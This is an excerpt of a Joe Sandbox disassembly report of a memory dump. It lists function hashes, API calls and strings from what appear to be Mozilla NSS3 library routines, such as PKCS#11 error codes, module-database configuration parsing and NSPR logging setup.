memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C6A5E23,6C58E154), ref: 6C6A5EBF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 6e356d831d545a9a9221cd07e98366075968928c2e38c364973b2b211750f7f1
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 2B519D72E0061A8FCB18CF99C8816AEF7B2FF98314B19456DD815B7745D730AD42CBA0

Function 6C65DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9471576bd5d53d296d41e4c6c6e12914a44f8facf0c98d607aff69f783ca6cbc
Instruction ID: dcf027657c537921dd5f524ce732cdbaaf1629bd63900d5453df31f397863f9a
Opcode Fuzzy Hash: 9471576bd5d53d296d41e4c6c6e12914a44f8facf0c98d607aff69f783ca6cbc
Instruction Fuzzy Hash: 83F17B71A01205CFDB08CF19D580BAA77B2BF89318F694169D8199F781CB35EC62CBD9

Function 6C5F1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 115d2c627300b38bc93e0462586c48da2c4c947284337471020fda88abb9e3ba
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: DDD148B2A056568BDB198E18CC843DB7B63AB85328F1D4729C9741B7C6C37B9907CBD0

Function 6C588EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ed5599c23f84980c5bb98e2cd17bc36a8a19b3b4c1670af79f4795bac1d7f4a
Instruction ID: b3744e616254395266af0521f343e8ae545c47718b2fe8a3f1745a5c3d06d48a
Opcode Fuzzy Hash: 1ed5599c23f84980c5bb98e2cd17bc36a8a19b3b4c1670af79f4795bac1d7f4a
Instruction Fuzzy Hash: 2A11C132A062258BD704DF29DC84B5AB3A6FF4231CF0446AAD8158FA41C775E886C7D6

Function 6C660C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 280e28b0470db0126d49618953af6a739cd0b780f5c3a2d3461037425acaf2ab
Instruction ID: f95021739b2db984ec2e2c2b916f4d8d00f89b138bdf91f11e77e43a557977f0
Opcode Fuzzy Hash: 280e28b0470db0126d49618953af6a739cd0b780f5c3a2d3461037425acaf2ab
Instruction Fuzzy Hash: D111C178704345DFDB00DF1AC8C06AA77A2FF85368F148479D8198BB01DB71E806CBA9

Function 6C5D3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: f042ffa453a75834ada3b65cb52b96751169b734c62b380f9b10b7800e45e449
Instruction ID: 33ec097c7a9f016be53d77781ea8419fe6a1267e093c8944d852d8d450f927ad
Opcode Fuzzy Hash: f042ffa453a75834ada3b65cb52b96751169b734c62b380f9b10b7800e45e449
Instruction Fuzzy Hash: 84F0BE70A047599BCB00DF29C88019BB7F4EF49254F10821AEC8AAB300EB30AAD5C7C9

Function 6C660D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: ad088a66a989d1532352f53bf5553ac2928b59297c9923d7f9b9295305025d65
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: BDE0923A202054A7DB148E0AC460AA97399DF82719FB4817DCC5D9FE01D733F803878A

Function 6C58CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1cd7c6dfef554c4619caf587cbd2bb64c47df047a6770313270ca47baf503c
Instruction ID: 30a94c01f22dbf2dc3ebcc6bf2eb84348aa80d42b4288ec1e34679bc6743de83
Opcode Fuzzy Hash: 0e1cd7c6dfef554c4619caf587cbd2bb64c47df047a6770313270ca47baf503c
Instruction Fuzzy Hash: 5BC04838244608CFC704DF09E5899A43BA9AB09610B040094EA028BB21DA61F800CA88

Function 6C5C1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C5C1D46), ref: 6C5C2345

Strings

CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C5C2015
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C5C1DE0
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C5C204D
CKR_SAVED_STATE_INVALID, xrefs: 6C5C1E56
CKR_TOKEN_NOT_PRESENT, xrefs: 6C5C1F81
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C5C1EE1
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C5C1F77
CKR_SIGNATURE_INVALID, xrefs: 6C5C20CF
CKR_MUTEX_NOT_LOCKED, xrefs: 6C5C2225
CKR_OPERATION_ACTIVE, xrefs: 6C5C22B8
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C5C2327
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C5C218D
CKR_OK, xrefs: 6C5C1DFC
CKR_PIN_LEN_RANGE, xrefs: 6C5C2061
CKR_DEVICE_ERROR, xrefs: 6C5C229D
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C5C2320
CKR_NEXT_OTP, xrefs: 6C5C222F
CKR_WRAPPED_KEY_INVALID, xrefs: 6C5C1FB5
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C5C22FF
CKR_FUNCTION_REJECTED, xrefs: 6C5C2289
rv = %s, xrefs: 6C5C2340
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C5C2275
CKR_INFORMATION_SENSITIVE, xrefs: 6C5C22B1
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C5C2179
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C5C2293, 6C5C233F
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C5C227F
CKR_DEVICE_MEMORY, xrefs: 6C5C1FF3
CKR_PIN_INCORRECT, xrefs: 6C5C1D92
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C5C1F95
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C5C1F8B
CKR_PIN_LOCKED, xrefs: 6C5C2075
CKR_PIN_INVALID, xrefs: 6C5C2057
CKR_DEVICE_REMOVED, xrefs: 6C5C2261
rv = 0x%x, xrefs: 6C5C2312
CKR_STATE_UNSAVEABLE, xrefs: 6C5C2037
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C5C1F0F
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C5C20D9
CKR_BUFFER_TOO_SMALL, xrefs: 6C5C2183
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C5C232E
CKR_FUNCTION_CANCELED, xrefs: 6C5C1E73
CKR_PIN_EXPIRED, xrefs: 6C5C206B
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C5C226B
CKR_MUTEX_BAD, xrefs: 6C5C1F49
CKR_NEW_PIN_MODE, xrefs: 6C5C1E9F
CKR_RANDOM_NO_RNG, xrefs: 6C5C22A7
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C5C1FD7
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C5C2319

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: b838fccc21a359b1bd810022a02943a5dce4063752a3c33f698473f9211f6e60
Instruction ID: b1f819372a397af5f807a4bce1884d5fc9852068f0a33ddeac423667fdd11924
Opcode Fuzzy Hash: b838fccc21a359b1bd810022a02943a5dce4063752a3c33f698473f9211f6e60
Instruction Fuzzy Hash: B061323074D044C6EA1C89CD8DAD36D3134EB43B04F65B93FE5A28EE91D694EA8346DB

Function 6C5F5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C5F5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C5F5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C5F5E5C
free.MOZGLUE(00000000), ref: 6C5F5E7E
free.MOZGLUE(00000000), ref: 6C5F5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C5F5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C5F5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C5F5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C5F5EF0
free.MOZGLUE(00000000), ref: 6C5F5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C5F5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C5F5F5B
free.MOZGLUE(00000000), ref: 6C5F5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C5F5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C5F5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C5F5FC4
free.MOZGLUE(00000000), ref: 6C5F5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C5F5FE9
free.MOZGLUE(00000000), ref: 6C5F5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C5F600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C5F605A
PR_smprintf.NSS3(6C6CAAF9,00000000), ref: 6C5F606A
free.MOZGLUE(00000000), ref: 6C5F607C
free.MOZGLUE(00000000), ref: 6C5F609A
free.MOZGLUE(00000000), ref: 6C5F60B2
free.MOZGLUE(?), ref: 6C5F60CE

Strings

secmod.db, xrefs: 6C5F5EA0
noModDB, xrefs: 6C5F5EEA
%s/%s, xrefs: 6C5F6055
readOnly, xrefs: 6C5F5E56
secmod=, xrefs: 6C5F5FB1
flags, xrefs: 6C5F5E3A, 6C5F5EC6, 6C5F5F30
configDir=, xrefs: 6C5F5F9D
pkcs11.txt, xrefs: 6C5F5F47, 6C5F5F7C, 6C5F603A, 6C5F6053
forceSecmodChoice, xrefs: 6C5F5F55

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: be5cd6ac0d92465b5cc7166c045030e025364c6ae2a49c1436ad2e024c0467ea
Instruction ID: 9ca6519fe299ff6777fdc9ba4f4ca02badfc8b569897df543c0d06222ecaf372
Opcode Fuzzy Hash: be5cd6ac0d92465b5cc7166c045030e025364c6ae2a49c1436ad2e024c0467ea
Instruction Fuzzy Hash: EE91F7F4A042016BEB048F259C81B9B3BA89F0634CF584461ED759BB42E722D916CFA6

Function 6C581D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C581DA3

Part of subcall function 6C6598D0: calloc.MOZGLUE(00000001,00000084,6C580936,00000001,?,6C58102C), ref: 6C6598E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C581DB2

Part of subcall function 6C581240: TlsGetValue.KERNEL32(00000040,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581267
Part of subcall function 6C581240: EnterCriticalSection.KERNEL32(?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C58127C
Part of subcall function 6C581240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581291
Part of subcall function 6C581240: PR_Unlock.NSS3(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C5812A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C581DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C581E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C581EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C581ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C581EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C581F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C581F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C581F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C581F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C581F83
PR_SetLogFile.NSS3(00000000), ref: 6C581FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C581FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C581FCB
free.MOZGLUE(00000000), ref: 6C581FD2

Strings

NSPR_LOG_MODULES, xrefs: 6C581DAD
, %n, xrefs: 6C581E6B
NSPR_LOG_FILE, xrefs: 6C581F69
all, xrefs: 6C581F0E
append, xrefs: 6C581EE6
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C581E27
sync, xrefs: 6C581E46
bufsize, xrefs: 6C581E9B
timestamp, xrefs: 6C581EC4
Unable to create nspr log file '%s', xrefs: 6C581FB3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 9b82c8b92c28c5e023b3a4310e84ea9b943cb7c11166f411fcd8477fd6d444b6
Instruction ID: 1156807cef392d5069068404ecad8cc0286bdf823429a8edcb163d23dba8458c
Opcode Fuzzy Hash: 9b82c8b92c28c5e023b3a4310e84ea9b943cb7c11166f411fcd8477fd6d444b6
Instruction Fuzzy Hash: C351B9B1E052299BDF00DBE5DD44B9F7BB4AF05308F180529E826DB640F771D518CBA9

Function 6C666E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51CA30: EnterCriticalSection.KERNEL32(?,?,?,6C57F9C9,?,6C57F4DA,6C57F9C9,?,?,6C54369A), ref: 6C51CA7A
Part of subcall function 6C51CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C51CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C52BE66), ref: 6C666E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C52BE66), ref: 6C666E98
sqlite3_snprintf.NSS3(?,00000000,6C6CAAF9,?,?,?,?,?,?,6C52BE66), ref: 6C666EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C52BE66), ref: 6C666ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C52BE66), ref: 6C666EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C52BE66), ref: 6C666F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C52BE66), ref: 6C666F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C52BE66), ref: 6C666F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C52BE66), ref: 6C666FA6
sqlite3_snprintf.NSS3(?,00000000,6C6CAAF9,00000000,?,?,?,?,?,?,?,6C52BE66), ref: 6C666FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C52BE66), ref: 6C666FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C52BE66), ref: 6C666FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C52BE66), ref: 6C667014
sqlite3_free.NSS3(00000000,?,?,?,?,6C52BE66), ref: 6C66701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C52BE66), ref: 6C667030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C52BE66), ref: 6C66705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C52BE66), ref: 6C667079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C52BE66), ref: 6C667097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C52BE66), ref: 6C6670A0

Strings

winGetTempname4, xrefs: 6C667046
mz_etilqs_, xrefs: 6C666F18
Pjl, xrefs: 6C6670A8
winGetTempname1, xrefs: 6C66708F
winGetTempname5, xrefs: 6C667071
winGetTempname2, xrefs: 6C6670C4

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
